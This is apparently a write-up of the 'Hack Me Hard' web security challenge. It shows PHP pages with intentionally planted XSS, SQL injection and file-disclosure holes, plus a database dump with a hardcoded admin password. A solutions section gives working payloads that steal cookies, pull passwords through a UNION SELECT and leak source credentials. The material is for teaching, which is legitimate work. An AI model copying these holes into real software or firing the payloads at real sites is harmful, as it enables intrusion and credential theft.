

Read the article about HBANK on <http://www.ethical-hacking.it/h-bank-outcome-isgroup-srl/> (italian only).

Thanks for all the attendants!

– Francesco Ongaro, ISGroup SRL

A simple web application hacking challenge.

```
<VirtualHost *:80>
  ServerAdmin webmaster@localhost
  ServerName hackmehard.it
  ServerAlias www.hackmehard.it

  DocumentRoot /home/hackmehard
  <Directory />
    Options FollowSymLinks
    AllowOverride None
  </Directory>
  <Directory /home/hackmehard>
    Options -Indexes FollowSymLinks -MultiViews
    AllowOverride All
    Order allow,deny
    allow from all
  </Directory>

  ErrorLog ${APACHE_LOG_DIR}/error.log
  LogLevel warn
  CustomLog ${APACHE_LOG_DIR}/access.log combined
  <IfModule mpm_itk_module>
    AssignUserId hackmehard hackmehard
  </IfModule>
</VirtualHost>
```

### *Virtual host configuration*

```
<!--
  Developed by ISGroup SRL for H-Farm

  Only for serious developers :)
-->
<h1>Hack Me Hard (A security challenge)</h1>
<p>Solve the three challenges and win an XXXX!</p>
<p>Sponsored by H-FARM, perhaps you know that dudes :)</p>
<ul>
  <li><a href="c1.php">Challenge 1</a></li>
  <li><a href="c2.php?news=1">Challenge 2</a></li>
  <li><a href="c3.php?page=beautifularticle">Challenge 3</a></li>
</ul>
<p>Learn the top 3 errors developers do.</p>
<p>Take a look to OWASP TOP 10 and become a better developer!</p>
```

### *"index.html" file*

```

<html>
<body>
    <!--
        Developed by ISGroup SRL for H-Farm

        Only for serious developers :)
    -->
<?php

session_start();
if (
    isset($_POST['send']) &&
    $_POST['send'] == 'TRUE' &&
    isset($_POST['name']) &&
    strpos($_POST['name'], 'H-FARM' ) !== FALSE
) {
    echo 'Your name is: '."\n";
    echo '<textarea>'.$_POST['name'].'</textarea>';
} else {
?>
    <form method="POST">
    <input type="hidden" name="send" value="TRUE" />
    <input type="input" name="name" value="H-FARM" />
    <input type="submit" value="Gogogo!" />
    </form>
<?php } ?>
</body>
</html>

```

*"c1.php" file*

```

<!--
    Developed by ISGroup SRL for H-Farm

    Only for serious developers :)
-->
<?php

// CREATE USER 'hackmehard'@'localhost' IDENTIFIED BY '***';GRANT USAGE ON *.*
TO 'hackmehard'@'localhost' IDENTIFIED BY '***' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
// GRANT SELECT ON `hackmehard`.* TO 'hackmehard'@'localhost';

mysql_connect('127.0.0.1', 'hackmehard', 'Psvm6bPywNQsaMNR');

mysql_select_db('hackmehard');

if (isset($_GET['news'])) {
    $query = mysql_query('SELECT * FROM news WHERE id = '.$_GET['news'].'');
    if (!$query)
        echo mysql_error();

    while ($row = mysql_fetch_assoc($query)) {
        echo $row['title'];
    }
}
?>

```

```
</body>
</html>
```

### *"c2.php" file*

```
<html>
<body>
<!--
    Developed by ISGroup SRL for H-Farm

    Only for serious developers :)
-->
<?php
if (isset($_GET['page'])) {
    echo file_get_contents($_GET['page'].'.php');
}
?>
</body>
</html>
```

### *"c3.php" file*

```
COPY COPY COPY<br />
CONTENT CONTENT
<a href="http://www.ush.it/">A beautiful place!</a>
<!--

OBTAIN THE MYSQL CONNECTION PASSWORD!

-->
```

### *"beautifularticle.php" file*

```
-- phpMyAdmin SQL Dump
-- version 4.1.5
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Feb 09, 2014 at 01:42 PM
-- Server version: 5.5.35-0ubuntu0.12.04.2
-- PHP Version: 5.3.10-1ubuntu3.9

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";

--
-- Database: `hackmehard`
--
-- -----
--
-- Table structure for table `news`
--
CREATE TABLE IF NOT EXISTS `news` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
```

```

    `title` varchar(255) NOT NULL,
    PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

--
-- Dumping data for table `news`
--

INSERT INTO `news` (`id`, `title`) VALUES
(1, 'HACK BOMB ALERT'),
(2, 'EXTREME POWNAGE FROM OUTER SPACE');

-----

--
-- Table structure for table `users`
--

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `name`, `password`) VALUES
(1, 'admin', 'UGOTMEMADHAXOR!');

```

### *Database schema and data*

### Solutions:

Place in the form:

```
H-FARM</textarea><script>alert (document.cookie);</script>
```

### *Challenge #1 solution*

```
http://hackmehard.it/c2.php?news=99%20UNION%20SELECT%201,password%20FROM%20users;--
```

"admin" password is "UGOTMEMADHAXOR!"

### *Challenge #2 solution*

```
http://hackmehard.it/c3.php?page=c2
```

MySQL connection information is in the source.

### *Challenge #3 solution*